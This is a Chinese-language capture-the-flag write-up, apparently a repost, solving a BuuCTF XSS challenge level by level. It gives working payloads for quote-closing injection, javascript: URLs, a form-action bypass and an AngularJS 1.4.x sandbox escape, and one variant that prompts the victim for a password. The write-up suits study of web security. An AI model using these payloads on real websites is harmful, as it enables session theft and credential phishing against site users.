BuuCTF[第二章 web进阶]XSS闯关

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BuuCTF[第二章 web进阶]XSS闯关相关的知识,希望对你有一定的参考价值。

**

[第二章 web进阶]XSS闯关

**

一、解题思路

1.一来看了一下题目的说明

我们需要执行alert函数
那就开启闯关模式!!!

1.第一关,无任何过滤

一看这个URL就很奇怪没直接上手,二话没说成功下一关

http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level1?username=<script>alert('xss')</script>


通过观察url,我惊奇的发现闯关的关卡,是由level1,level2…,我一路向北直到level7,得到flag

我们关键在学习XSS,上述方法有点投机取巧了,进入正题,一关一关的闯

2.第二关,简单闭合绕过

重新从第二关开始,想使用第一关的套路,直接被没有回显

http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level2?username=<script>alert('xss')</script>


直接查看页面源代码

发现使用了js所编写的一个过滤,username被escape加密

<script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = 'xss';
    	document.getElementById('ccc').innerhtml= "Welcome " + escape(username);
    </script>

我所使用的绕过姿势是前面

var username = 'xss';       //使用';结束前面的语句,后面加上函数alert(1);使用'1闭合后面的单引号,当然你也可以使用将其注释(//)

使用’;结束前面的语句,后面加上函数alert(1);使用’1闭合后面的单引号,当然你也可以使用将其注释(//)

http://65c057a6-36f6-4ed7-90b8-1c25016edfec.node4.buuoj.cn/level2?username=1';alert(1);'1

3.第三关,单引号转义

还是先测试

<script>alert(1)</script>

发现不可以

查看页面源代码

好像也没发现什么问题,那么试试第二关的方法

';alert(1);'1


查看一下源代码,发现单引号(’)被转义

<script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = '\\';alert(1);'1';
    	document.getElementById('ccc').innerHTML= "Welcome " + username;
    </script>

发现多了一个反斜杠+单引号(’),那么就相当于’'构成了闭合,那么我们的构造可以为:

'';alert(1);'1

4.第四关,伪链接

进入第四关,就有点懵了,一直在死循环,查看页面源代码


伪链接
javascript:alert(1),浏览器会把javascript后面的内容当做代码执行,直接在当前页面执行。代码中接收jumpUrl作为跳转url,构造如下所示:

jumpUrl=javascript:alert(1)

5.第五关,getQueryVariable()函数绕过

进入到第五关
是一个表单查询,无论在输入框中输入,任意的东西,他都会回显报错


查看页面源代码

分析代码如下:

if(getQueryVariable('autosubmit') !== false){  //如果出错就会执行getQueryVariable函数
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		//变量action执行getQueryVariable函数
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
getQueryVariable('autosubmit') !== false){  //如果出错就会执行getQueryVariable函数

autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		//变量action执行getQueryVariable函数

其实,只要我们绕过这两个变量就可以,payload如下所示:

http://1bbea037-ec4e-4120-bd60-16336bd00c60.node4.buuoj.cn/level5?autosubmit=1&action=JavaScript:alert(1);//

6.第六关,xss模板注入(沙箱逃逸)


查看页源代码

<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>

这段代码,比较特别

打开是一长串段js编写的代码,也没发现特别的,看着这个URL,就测试了一下,xss模板注入,别说,真的存在这个漏洞

8*9=72,直接就给我算出了答案,说明存在xss模板注入的,百度之后发现
Angular JS客户端模板注入

payload如下所示:

http://1bbea037-ec4e-4120-bd60-16336bd00c60.node4.buuoj.cn/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

沙箱逃逸
这个方法,就是确认了存在xss模板注入以后,我们对Angular(版本号v1.4.0-v1.4.9)沙箱逃逸

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

进入到下一关,直接得到flag

二、知识点整理

1.定义

跨站脚本(Cross_Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等内容。

2.原理

HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

3.分类

(1)反射型XSS

反射性XSS又称为非持久性XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

(2)存储型XSS

存储型XSS又称为持久型XSS,攻击脚本将被永久的放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

(3)DOM型XSS

DOM全称Document Objeect Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容,结构及样式。

DOM型XSS其实是一种特殊的反射型XSS,它基于DOM文档对象模型的一种漏洞。

4.XSS模板注入

Angular JS沙箱逃逸,从Angular1.6及以后版本,Angular沙箱已被删除。

验证XSS
Angular(版本小于1.6)内的典型XSS payload如下:

{{8*9}}

如果在pay;oad成功执行,结果72将会出现。

沙箱逃逸
Angular(版本号v1.4.0-v1.4.9)沙箱逃逸。

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

JavaScript函数替换“alert(1)”,例如,我们可以使用以下payload创建提示,要求输入密码:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };prompt("Please enter your password:")//');}}

参考链接:https://blog.csdn.net/qq_51558360/article/details/114378503
参考链接:https://xz.aliyun.com/t/4638

以上是关于BuuCTF[第二章 web进阶]XSS闯关的主要内容,如果未能解决你的问题,请参考以下文章

Buuctf N1BOOK [第二章 web进阶]文件上传

buuctf 刷题记录 [第二章 web进阶]SSRF Training

xss-tour闯关

XSS闯关挑战

XSS闯关之第三关

XSS闯关之第二关